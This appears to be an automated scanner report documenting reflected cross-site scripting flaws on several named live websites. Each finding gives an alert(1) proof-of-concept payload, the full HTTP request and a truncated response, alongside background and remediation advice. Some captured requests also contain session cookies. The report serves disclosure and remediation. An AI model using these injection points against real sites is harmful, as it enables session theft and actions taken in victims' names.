Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into an HTML comment. The payload bf5ec--><script>alert(1)</script>db1ccd44039 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /vp2/d/deeplinkbf5ec--><script>alert(1)</script>db1ccd44039 HTTP/1.1 Host: abc.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 22:03:31 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.9 Content-Length: 4911 Connection: close Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload b6987<script>alert(1)</script>1178017b98e was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /beacons?callback=jsonp1296766389465b6987<script>alert(1)</script>1178017b98e HTTP/1.1 Host: ads.adap.tv Proxy-Connection: keep-alive Referer: http://www.veoh.com/browse/videos/category/action_adventure2e455%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecd67645eb41/watch/v18978294NGnK88j8/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: creativeViews="{\"v\":1,\"views\":[{\"id\":2840,\"ts\":1296135287,\"cts\":null}]}"; rtbData0="key=tidaltv:value=56bdd173-7d00-46e9-8ce1-554488db4bb8:expiresAt=Mon+Mar+28+06%3A24%3A48+PDT+2011:32-Compatible=true,key=testbuyer2451:value=wwqd12345:expiresAt=Thu+Jan+27+11%3A14%3A25+PST+2011:32-Compatible=true"; unique_ad_source_impression="11427%2C14970%2C8641%2C11573%2C14265__TIME__2011-01-27+05%3A24%3A55"; asptvw1="as7037%2C2%2C2011-01-27%2F12-09-46+ap1894%2C1%2C2011-01-27%2F12-09-31"; adsrcvw1="15517%2C2%2C2011-01-28%2F11-09-46"; marketTransaction="true__TIME__2011-01-27+11%3A09%3A45"; adaptv_unique_user_cookie="4260041098738838008__TIME__2011-02-03+06%3A17%3A46"; audienceData="{\"v\":2,\"providers\":{\"2\":{\"f\":1298707200,\"e\":1298707200,\"s\":[292,293],\"a\":[]},\"10\":{\"f\":1299312000,\"e\":1299312000,\"s\":[],\"a\":[]},\"13\":{\"f\":1298707200,\"e\":1298707200,\"s\":[524],\"a\":[]},\"14\":{\"f\":1298707200,\"e\":1298707200,\"s\":[],\"a\":[{\"val\":\"000\",\"id\":5}]}}}"
The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 6f421%0aalert(1)//3a48dc45b10 was submitted in the url parameter. This input was echoed as 6f421 alert(1)//3a48dc45b10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gadgets/ifr?synd=ads&url=http%3A%2F%2Fwww.ljmsite.com%2Fgoogle%2Fgadgetads%2Fkayakhotel%2F728x90.xml6f421%0aalert(1)//3a48dc45b10&lang=en&country=US&up_clickurl=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuG1yFmZLTcWQPMbjlQe2s9g5trWeyQG615CeEcCNtwHQllEQARgBIMDIgxo4AFCb29C6AWDJvrKJkKTQEaABxJH67gOyAQ53d3cuYml6ZmluZC51c7oBCTcyOHg5MF9hc8gBCdoBXWh0dHA6Ly93d3cuYml6ZmluZC51cy8xNS8xODIyMjEvYWJjLWRldmVsb3BtZW50LWluYy9jaGljYWdvLmFzcHgveDIyLyUyMm5zPSUyMmFsZXJ0KDB4MDAwNkMxKeABA7gCGMgC5qXPF6gDAdEDCGK0Eaa7ijn1AwAAAMQ%26num%3D1%26ggladgrp%3D9764709784055921816%26gglcreat%3D9143352621951917205%26sig%3DAGiWqtwyJ0z2eP12NfR0KoaagOUkxWNa_A%26client%3Dca-pub-3033999741136561%26adurl%3D&up_aiturl=http://googleads.g.doubleclick.net/pagead/conversion/%3Fai%3DBuG1yFmZLTcWQPMbjlQe2s9g5trWeyQG615CeEcCNtwHQllEQARgBIMDIgxo4AFCb29C6AWDJvrKJkKTQEaABxJH67gOyAQ53d3cuYml6ZmluZC51c7oBCTcyOHg5MF9hc8gBCdoBXWh0dHA6Ly93d3cuYml6ZmluZC51cy8xNS8xODIyMjEvYWJjLWRldmVsb3BtZW50LWluYy9jaGljYWdvLmFzcHgveDIyLyUyMm5zPSUyMmFsZXJ0KDB4MDAwNkMxKeABA7gCGMgC5qXPF6gDAdEDCGK0Eaa7ijn1AwAAAMQ%26sigh%3DG7T3ZBT9Zc4%26label%3D_AITNAME_%26value%3D_AITVALUE_&up_ads_clicktarget_new_=0&up_rawquery=chicago%20hotels&up_city=Crystal&up_region=US-MI&up_lat=43.26&up_long=-84.91 HTTP/1.1 Host: ads.gmodules.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3033999741136561&output=html&h=90&slotname=2791779905&w=728&lmt=1296808620&flash=10.1.103&url=http%3A%2F%2Fwww.bizfind.us%2F15%2F182221%2Fabc-development-inc%2Fchicago.aspx%2Fx22%2F%2522ns%3D%2522alert(0x0006C1)&dt=1296787020952&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=7707606529%2C2067036752&correlator=1296787019866&frm=0&adk=1244530545&ga_vid=371918977.1296786866&ga_sid=1296786866&ga_hid=969342198&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1033&bih=1012&fu=0&ifi=3&dtd=11&xpc=WZvbsEpZ0D&p=http%3A//www.bizfind.us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Unable to retrieve spec for http://www.ljmsite.com/google/gadgetads/kayakhotel/728x90.xml6f421 alert(1)//3a48dc45b10. HTTP error 400
1.4. http://advertise.tucows.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://advertise.tucows.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 41f20"-alert(1)-"c17f4a73141 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?41f20"-alert(1)-"c17f4a73141=1 HTTP/1.1 Host: advertise.tucows.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 22:03:33 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Set-Cookie: PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Connection: close Content-Type: text/html Content-Length: 84492
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Free Software and Sh ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 25a76"-alert(1)-"4bef7d4836e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes25a76"-alert(1)-"4bef7d4836e/corpbar/cb3.0/css/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:21 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32339
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9378"-alert(1)-"68cf811d6fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/corpbarb9378"-alert(1)-"68cf811d6fc/cb3.0/css/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:27 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32469
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1d63"-alert(1)-"f61e34bb76a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/corpbar/cb3.0f1d63"-alert(1)-"f61e34bb76a/css/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:45 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f8543"-alert(1)-"e7c1cf5b326 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/corpbar/cb3.0/cssf8543"-alert(1)-"e7c1cf5b326/style.css HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:55 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32295
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 471ee"-alert(1)-"f64e6d809a6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/corpbar/cb3.0/css/style.css471ee"-alert(1)-"f64e6d809a6 HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:57:07 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32379
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6d10"-alert(1)-"e562c2cd8f4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includesa6d10"-alert(1)-"e562c2cd8f4/js/aalib.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:24 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Page Not Found</tit ...[SNIP]... <script> loggedIn = false;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33f2c"-alert(1)-"78bef03947c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/js33f2c"-alert(1)-"78bef03947c/aalib.js HTTP/1.1 Host: advertise.tucows.com Proxy-Connection: keep-alive Referer: http://advertise.tucows.com/?41f20%22-alert(1)-%22c17f4a73141=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=163973946.1641024450.1296766282.1296766282.1296766282.1; __utmz=163973946.1296766282.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; PHPSESSID=2a19ddf330d96d5496a9e6d3718b536d; 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D
Response
HTTP/1.0 404 Not Found Date: Fri, 04 Feb 2011 17:56:36 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 2a19ddf330d96d5496a9e6d3718b536d=xuDydokh%2BUE93t1Y9yhJXgAXmjBIG3zrOmb07wWqKhOAH4ag2YJ%2BkRvaMFdST1buv%2Be84VDAlwu%2BQupMG6vSAeSxe%2Blr2nTCAHalss%2BviafTcazNs2SZVG2XNAP2sFrfTlW6OJx4Ajs%3D; path=/ Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 32531
